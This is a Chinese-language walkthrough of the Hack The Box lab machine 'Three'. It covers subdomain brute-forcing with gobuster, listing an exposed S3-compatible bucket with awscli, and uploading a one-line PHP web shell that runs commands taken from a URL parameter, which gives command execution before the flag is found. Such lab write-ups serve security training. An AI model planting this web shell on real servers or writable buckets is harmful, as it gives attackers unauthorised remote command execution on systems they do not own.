Three

https://app.hackthebox.com/machines/Three

知识点

  • 端口扫描

  • Host碰撞

  • AWS

  • 命令执行

获取flag

信息收集

  • 端口扫描发现开放了 22、80端口

  • 在网页中发现存在邮箱的绑定域名为 thetoppers.htb

  • 将域名与ip写入 /etc/hosts 中后访问,发现还是当前网页

  • 根据题目的要求可以得知存在子域,且需要爆破获取

  • 这里我们使用 gobuster 工具扫描,gobuster工具具有虚拟主机发现模式 vhost ,可以快速发现同一IP上不同的域名,其原理参考 Host碰撞

  • 这里使用 Seclists 的字典包 apt install seclists -y

gobuster vhost -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://thetoppers.htb --append-domain
  • 发现存在两个主机

  • s3.thetoppers.htb 404

  • gc._msdcs.thetoppers.htb 400

  • 根据提示与域名前缀 s3 搜索得知,该网址为 Amazon Simple Storage Service 也就是 AWS

  • 此时使用 awscli 工具对AWS进行连接,并列出存储桶 aws s3 ls s3://thetoppers.htb 但因为目标服务托管在 http://s3.thetoppers.htb 而并非默认的 https://s3.a.amazonaws.com 上,所以还需要指定托管地址 aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb

  • 根据响应可判断出,目标网页托管在该存储桶上

GetShell

  • 由于目标网站使用了 php 脚本语言,所以可以直接通过aws上传php的webshell,以拿到目标权限

  • 在当前目录新建一个 shell.php 文件,使用命令上传到存储桶中

  • 这里我使用了最简单的一句话木马

<pre><?php system($_GET["cmd"]);?>
aws s3 cp shell.php --endpoint-url http://s3.thetoppers.htb/ s3://thetoppers.htb
  • 访问shell并执行 whoami 获取执行结果

搜索flag

  • 由于最终目标是获取flag,所以我们通过搜索命令,来模糊搜索与flag相关的文件

find / -name "flag.*"
  • 搜索存在以下文件

  • 使用 cat 命令取得 flag.txt 内容